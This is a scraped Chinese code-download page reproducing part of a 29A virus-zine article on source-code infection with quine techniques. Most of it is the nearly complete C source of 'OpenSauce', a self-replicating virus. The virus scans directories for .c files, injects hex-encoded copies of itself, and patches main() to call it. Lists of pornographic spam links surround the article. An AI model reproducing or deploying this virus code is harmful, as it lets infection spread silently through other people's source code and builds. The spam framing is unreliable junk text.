亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 29a-7.017

?? 從29A上收集的病毒源碼
?? 017
?? 第 1 頁 / 共 3 頁
字號:

Pros:

* We don't need to think  too much, there is everything done,  we have
to join the pieces ;-)

* We are still programming in assembler, controlling each detail. 

Contras:

* It is not "discreet" indeed. 

* Being assembler, we lose the inherent multiplatform feature of  most
of the source code. 

* The disassembly process can sometimes be too troublesome.


4.3.- "Quine" approach

A "quine" is  a program that  generates its own  source code *without*
reading  its own  code. It  have been  done international  programming
championships of  these peculiar  proggies, all  of them  in a extreme
-freak atmosphere.

There are several  ways to do  quines, some very  complicated and very
elegant others, but the most functional form, in my humble opinion, is
using arrays of chars. In fact, I remained very surprised after  doing
my first quine, because when I saw the rest were many very  different,
but the one that made Ken Thompson was practically identical, although
a little less complicated: the main idea is to have the source code in
an array of chars to be able to do the following thing:

printf("char array[] = \"%s\";" array);

With that  approach we  break the  vicious circle  that propose quines
when    you   want    to   print    out   your    own   code    (doing
printf("printf(\"printf(\"... does not seem to be a good approach;-D).

A time later I discovered an authentic jewel of computer science  [11]
when  I saw  the problem  that proposed  Thompson in  its famous  talk
"Reflections on Trusting Trust" when he won the ACM Award. Is  amazing
to understand the implications of that text, and is surprising to  see
an authentic guru like Ken Thompson speaking like a malware coder };-)
At the moment, the issue explained does not have a very clear solution
and seems to be a headache without a simple solution [12].

Well, if we focus in this main  point, we can see how is necessary  an
array of chars that contains the code of the program. It is here where
the greater differences can arise.  Thompson created its array one  by
one separating chars of the following form:

char s[] = {
        '\t',
        '0',
        '\n',
        '}',
        ';',
        '\n',
        '\n',
        'm',
        'a',
        'i',
        'n',
        '(',
        ')',
        '\n',

        ...

        0 };
        
In my  initial approach  I saw  that this,  in adition  of being quite
strange, was too obvious, that  is, is shown clearly that  the content
of that array  is source code  written in C.  Because of that,  I used
another annotation to keep each char in a non so obvious way:

char s[] = {
0x6D, 0x61, 0x69, 0x6E, 0x28, 0x29, 0x20, 0x7B,
0x0D, 0x0A, 0x69, 0x6E, 0x74, 0x20, 0x69, 0x3B,
0x0D, 0x0A, 0x09, 0x70, 0x72, 0x69, 0x6E, 0x74,
0x66, 0x28, 0x22, 0x63, 0x68, 0x61, 0x72, 0x20,

...

0 };

The immediate goal was fulfilled: that does not seem C source code  to
eyes of somebody little  familiarized with ASCII table.  Nevertheless,
this way to define the array increased too much the size of the  code,
it was necessary to think a way to reduce it. First which I thought to
do that  was to  duplicate the  space in  the executable  code, but to
reduce to half the space in the source code, creating an array as this
one:

char s[] = "6D61696E2829207B0D0A69...";

Doing it this way I am using much less space in C source code. The bad
news are that now  I use 2 bytes  to represent each to  char within my
array (damn!!). We cannot use printf() to print that array in the host
code, we must do something similar to this:

int i;
char nibblechar, nibble[2];

for(i=0;i<strlen(s);i+=2) {
	nibble[0] = s[i];
	nibble[1] = s[i+1];
 	sscanf(nibble,"%02X",&nibblechar);
        printf("%c", nibblechar);
}

Quite slapdash, but it works O:-)

Another  thing which  we must  consider is  that our  objective is  no
longer to print our own code, but  to insert it within a program in  C
and  to create  programs that   can be  compiled correctly.  For that
reason, in the following example  I have divided the initial  array in
other  three  arrays: one  for  the includes  and  declaration of  the
virus() function, another one for the first part of this function  and
the other for the end of the virus(). Let's see it:

<--------------------------------------------------------------------------->
<-opensauce.c--------------------------------------------------------------->
<--------------------------------------------------------------------------->

/*
 * OpenSauce
 *
 * A trial to infect source code
 *                   zert <zert@int80h.net>
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <dirent.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/wait.h>

void virus();

int main(int argc, char *argv[]) {
  virus();
}

void virus() {
  int i, hd, fd, readbyte, writebyte, posmain, posbuffer;
  DIR *dd;
  struct dirent *dirp;
  char nibble[2], nibblechar, *readbuffer, *writebuffer,
       *readmain, *writemain, *bufname, *buffer;
  char charinclude[] = "23696e636c756465203c737464696f2e683e0a23696e636c756465203c7374646c69622e683e0a23696e636c756465203c7379732f737461742e683e0a23696e636c756465203c756e697374642e683e0a23696e636c756465203c66636e746c2e683e0a23696e636c756465203c74696d652e683e0a23696e636c756465203c646972656e742e683e0a23696e636c756465203c656c662e683e0a23696e636c756465203c7379732f74797065732e683e0a23696e636c756465203c7379732f776169742e683e0a0a766f696420766972757328293b0a0a";
  char charvirus[] = "0a766f69642076697275732829207b0a2020696e7420692c2068642c2066642c2072656164627974652c207772697465627974652c20706f736d61696e2c20706f736275666665723b0a2020444952202a64643b0a202073747275637420646972656e74202a646972703b0a202063686172206e6962626c655b325d2c206e6962626c65636861722c202a726561646275666665722c202a77726974656275666665722c200a202020202020202a726561646d61696e2c202a77726974656d61696e2c202a6275666e616d652c202a6275666665723b0a";
  char charvirusend[] = "0a20206464203d206f70656e64697228222e22293b0a20207768696c65282864697270203d207265616464697228646429293e3029200a202020206966282868643d6f70656e28646972702d3e645f6e616d652c204f5f524457522c203029293e3d3029207b0a ... ";

  /* scan for hosts in current dir */
  dd = opendir(".");
  while((dirp = readdir(dd))>0)
      if((fd=open(dirp->d_name, O_RDWR, 0))>=0) {
        /* is a C source file? */
        if(!(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".c"))||
           !(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".C"))) {
          /* searching infection mark... */
          lseek(fd, -30, SEEK_END);
          bufname = (char *)malloc(30);
          readbyte = read(fd, bufname,30);
          if((strstr(bufname, "/* sauce! */")<=0)) {
            /* infection mark not found */
            /* searching main() function... */
            lseek(fd, 0, SEEK_SET);
            posmain = posbuffer = 0;
            buffer = (char *)malloc(1024);
            while((readbyte=read(fd,buffer,1024))>0) {
              if( ((posbuffer=(int)strstr(buffer,"\nmain("))>0) ||
                ((posbuffer=(int)strstr(buffer,"\nint main("))>0) ||
                ((posbuffer=(int)strstr(buffer,"\nvoid main("))>0) ||
                ((posbuffer=(int)strstr(buffer,"\nmain ("))>0) ||
                ((posbuffer=(int)strstr(buffer,"\nint main ("))>0) ||
                ((posbuffer=(int)strstr(buffer,"\nvoid main ("))>0) ) {
                break;
              }
              posmain += readbyte;
            }
            if(posbuffer>0) {
              posmain += ((int)posbuffer-(int)buffer);
              lseek(fd, posmain, SEEK_SET);
              read(fd, buffer, 80);
              if((posbuffer = (int)strstr(buffer,"{\n"))>0)
                posmain += 2 + ((int)posbuffer-(int)buffer);
              else
                posmain = -1;
            } else posmain = -1;
            if(posmain>0) {
              /* let's infect! */
              lseek(fd, 0, SEEK_SET);
              writebyte = strlen(charinclude) / 2;
              readbuffer = (char *)malloc(writebyte);
              writebuffer = (char *)malloc(writebyte);
              writebuffer = (char *)malloc(writebyte);
              for(i=0;i<strlen(charinclude);i+=2) {
                nibble[0] = charinclude[i];
                nibble[1] = charinclude[i+1];
                sscanf(nibble, "%02X", &nibblechar);
                strncat(writebuffer, &nibblechar, 1);
              }
              while((readbyte=read(fd,readbuffer,writebyte))>0) {
                lseek(fd, -readbyte, SEEK_CUR);
                write(fd, writebuffer, writebyte);
                writebyte = read(fd, writebuffer, writebyte);
                lseek(fd, -writebyte, SEEK_CUR);
                write(fd, readbuffer, readbyte);
              }
              lseek(fd,-readbyte,SEEK_CUR);
              write(fd,writebuffer,writebyte);
              /* call virus from main() */
              writebyte = strlen(charinclude) / 2;
              lseek(fd, posmain+writebyte, SEEK_SET);
              writebyte = strlen("\n  virus();\n");
              readmain = (char *)malloc(writebyte);
              writemain = (char *)malloc(writebyte);
              strcpy(writemain,"\n  virus();\n");
              while((readbyte=read(fd,readmain,writebyte))>0) {
                lseek(fd,-readbyte,SEEK_CUR);
                write(fd,writemain,writebyte);
                writebyte=read(fd,writemain,writebyte);
                lseek(fd,-writebyte,SEEK_CUR);
                write(fd,readmain,readbyte);
              }
              lseek(fd,-readbyte,SEEK_CUR);
              write(fd,writemain,writebyte);
              /* copy virus function at EOF */
              lseek(fd, 0, SEEK_END);
              for(i=0;i<strlen(charvirus);i+=2) {
                nibble[0] = charvirus[i];
                nibble[1] = charvirus[i+1];
                sscanf(nibble,"%02X",&nibblechar);
                write(fd, &nibblechar, 1);
              }
              write(fd, "\n  char charinclude[] = \"", strlen("\n  char charinclude[] = \""));
              write(fd, charinclude, strlen(charinclude));
              write(fd, "\";\n  char charvirus[] = \"", strlen("\";\n  char charvirus[] = \""));
              write(fd, charvirus, strlen(charvirus));
              write(fd, "\";\n  char charvirusend[] = \"", strlen("\";\n  char charvirusend[] = \""));
              write(fd, charvirusend, strlen(charvirusend));
              write(fd, "\";\n", strlen("\";\n"));
              lseek(fd, 0, SEEK_END);
              for(i=0;i<strlen(charvirusend);i+=2) {
                nibble[0] = charvirusend[i];
                nibble[1] = charvirusend[i+1];
                sscanf(nibble,"%02X",&nibblechar);
                write(fd, &nibblechar, 1);
              }
              /* that's all folks! */
              /* just 1 infection each time */
              exit(0);
              close(fd);
            }
          }
      }
      close(fd);
    }
  closedir(dd);

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产嫩草影院久久久久| 久久精品亚洲乱码伦伦中文| 91免费视频网址| 国产不卡在线播放| 成人国产精品免费观看| 97久久精品人人做人人爽| www.日韩精品| 色欧美日韩亚洲| 在线视频一区二区免费| 欧美日韩国产综合久久| 欧美日韩一区二区电影| 欧美一级片在线看| 精品久久五月天| 日本一区二区三区在线不卡| 久久久精品影视| 亚洲欧洲精品一区二区精品久久久 | 国产人久久人人人人爽| 国产日韩欧美不卡| 国产精品剧情在线亚洲| 亚洲精品免费在线| 日韩电影一区二区三区四区| 久久99九九99精品| 99视频一区二区三区| 在线区一区二视频| 精品国产一二三区| 亚洲免费看黄网站| 日本伊人色综合网| 国产成人高清视频| 在线观看不卡一区| 精品伦理精品一区| 亚洲欧洲另类国产综合| 久久精品理论片| 不卡在线视频中文字幕| 欧美一二区视频| 欧美国产日产图区| 日本vs亚洲vs韩国一区三区| 成人黄页在线观看| 日韩一本二本av| 亚洲欧美aⅴ...| 国内精品免费**视频| 91在线精品秘密一区二区| 欧美大白屁股肥臀xxxxxx| 国产精品免费视频观看| 日本一区中文字幕| 欧美影院一区二区三区| 国产亚洲污的网站| 日本va欧美va欧美va精品| 91免费在线视频观看| 久久精品亚洲乱码伦伦中文 | 国产乱子轮精品视频| 欧美日韩激情在线| 亚洲欧美一区二区不卡| 高清不卡一区二区| 精品乱人伦一区二区三区| 亚洲一区在线观看免费 | 日韩三级精品电影久久久| 亚洲男人天堂一区| 成人av中文字幕| 久久先锋资源网| 精品一区二区三区久久| 欧美浪妇xxxx高跟鞋交| 一区二区三区四区精品在线视频| 国产黄色成人av| 日韩欧美国产综合一区| 青青草国产精品亚洲专区无| 欧美色欧美亚洲另类二区| 亚洲免费在线看| 色综合欧美在线| 亚洲欧美偷拍另类a∨色屁股| 成人激情开心网| 国产精品久久久久久久第一福利 | 亚洲精品ww久久久久久p站| 成人av资源网站| 国产精品电影院| av一区二区久久| 亚洲乱码国产乱码精品精小说| 成人激情开心网| 亚洲色图欧美偷拍| 91丨porny丨首页| 亚洲女厕所小便bbb| 色先锋资源久久综合| 亚洲欧美日韩国产中文在线| 91丨porny丨户外露出| 亚洲一卡二卡三卡四卡无卡久久| 欧美做爰猛烈大尺度电影无法无天| 亚洲欧洲三级电影| 欧美性生活大片视频| 亚洲福利一区二区| 日韩一级二级三级精品视频| 国产综合久久久久影院| 国产欧美日韩在线视频| 97久久精品人人做人人爽| 亚洲黄色免费网站| 91麻豆精品国产自产在线观看一区| 偷拍自拍另类欧美| 欧美不卡一区二区三区四区| 国产精品一区二区x88av| 国产精品成人在线观看| 欧美日韩大陆一区二区| 精品午夜久久福利影院| 国产精品亲子伦对白| 欧美亚日韩国产aⅴ精品中极品| 日韩电影在线一区| 国产精品网站导航| 欧美日韩中文一区| 国产精品一级在线| 亚洲在线免费播放| 久久这里只精品最新地址| 91在线观看视频| 老鸭窝一区二区久久精品| 日本一区二区电影| 7777精品伊人久久久大香线蕉经典版下载 | 亚洲最大成人网4388xx| 欧美一级黄色片| 不卡视频免费播放| 日韩av中文在线观看| 国产精品国产三级国产普通话三级| 欧美日韩成人综合天天影院| 成人中文字幕电影| 免费的成人av| 一区二区国产盗摄色噜噜| 久久久国产精华| 777午夜精品视频在线播放| k8久久久一区二区三区| 美女www一区二区| 亚洲综合一区二区| 中文字幕第一页久久| 51精品视频一区二区三区| 91在线观看美女| 国产成人精品免费看| 欧美aⅴ一区二区三区视频| 一区av在线播放| 亚洲视频中文字幕| 久久久久成人黄色影片| 欧美大胆人体bbbb| 欧美久久久久久久久中文字幕| 成人精品视频网站| 国产69精品久久久久毛片| 久久精品国产色蜜蜜麻豆| 蜜臀va亚洲va欧美va天堂 | 美女网站视频久久| 午夜欧美一区二区三区在线播放| 亚洲人成在线观看一区二区| 中文字幕在线观看一区二区| 欧美国产一区二区在线观看| 国产欧美一区二区精品秋霞影院| 欧美mv和日韩mv国产网站| 欧美一区二区女人| 91精品国产91热久久久做人人| 欧美伊人久久久久久午夜久久久久| 一本一本久久a久久精品综合麻豆 一本一道波多野结衣一区二区 | 色综合天天天天做夜夜夜夜做| www.av亚洲| 一本大道久久a久久精二百| 本田岬高潮一区二区三区| 福利一区福利二区| 成人免费看视频| 91在线国内视频| 在线国产亚洲欧美| 欧美日韩高清一区二区| 91精品欧美久久久久久动漫| 欧美另类高清zo欧美| 欧美一二三四区在线| 欧美一区二区三区的| 久久久噜噜噜久噜久久综合| 日本一区二区久久| 亚洲精品日韩一| 天天亚洲美女在线视频| 日本欧美大码aⅴ在线播放| 麻豆免费看一区二区三区| 国产一区二三区好的| 风间由美性色一区二区三区| 91麻豆免费看| 555www色欧美视频| 久久九九久精品国产免费直播| 中文字幕一区二区视频| 亚洲综合在线免费观看| 伦理电影国产精品| 成人的网站免费观看| 欧美日韩亚洲不卡| 久久色在线视频| 伊人婷婷欧美激情| 老色鬼精品视频在线观看播放| 高清不卡在线观看| 欧美三级日韩在线| 久久久综合激的五月天| 亚洲伦理在线精品| 国内精品不卡在线| 色哟哟日韩精品| 久久影院午夜片一区| 亚洲一区二区精品3399| 国产成人精品免费| 欧美日本乱大交xxxxx| 国产精品丝袜在线| 日本免费新一区视频| 97久久超碰国产精品| xfplay精品久久| 亚洲mv在线观看| 99久久久久久99| 久久先锋影音av鲁色资源网|